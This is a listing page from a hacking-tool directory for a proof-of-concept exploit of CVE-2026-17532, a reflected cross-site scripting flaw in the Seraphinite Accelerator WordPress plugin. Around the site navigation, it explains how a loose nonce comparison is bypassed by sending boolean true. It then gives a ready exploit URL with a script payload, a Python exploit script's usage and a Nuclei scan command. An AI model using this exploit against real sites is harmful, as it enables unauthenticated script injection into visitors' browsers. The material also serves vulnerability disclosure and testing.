Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-17532 — Seraphinite Accelerator <= 2.29.18 - Reflected Cross-Site Scripting PoC | Kitploit
Tools/GitHubGitHub/kalhoralireza/cve-2026-17532
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubkalhoralireza/cve-2026-17532

CVE-2026-17532

Seraphinite Accelerator <= 2.29.18 - Reflected Cross-Site Scripting PoC

View Repository
231 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Seraphinite Accelerator <= 2.29.18 — Unauthenticated Reflected XSS

The plugin signs its internal "prepare page" requests with an HMAC in the seraph_accel_prep parameter (base64-encoded JSON), but compares it with PHP's loose !=. Sending the JSON boolean true as the nonce makes the comparison always pass, and the selfTest field is then echoed back unescaped as selfTest-<value>.

One URL, no authentication:

root@kitploit:~
http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>

Usage

Python (needs pip install requests):

root@kitploit:~
usage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]

Seraphinite Accelerator (WordPress) <= 2.29.18

options:
  -h, --help         show this help message and exit
  --url URL          target site, e.g. http://target-site.com
  --payload PAYLOAD  XSS payload (default: <script>alert(document.domain)</script>)
  --timeout TIMEOUT  seconds (default: 30)

Nuclei:

root@kitploit:~
nuclei -u http://target-site.com -t seraphinite-accelerator-prep-xss.yaml -timeout 10

The -timeout 10 is needed because the vulnerable code path sleeps 5 seconds before answering.

Download Tool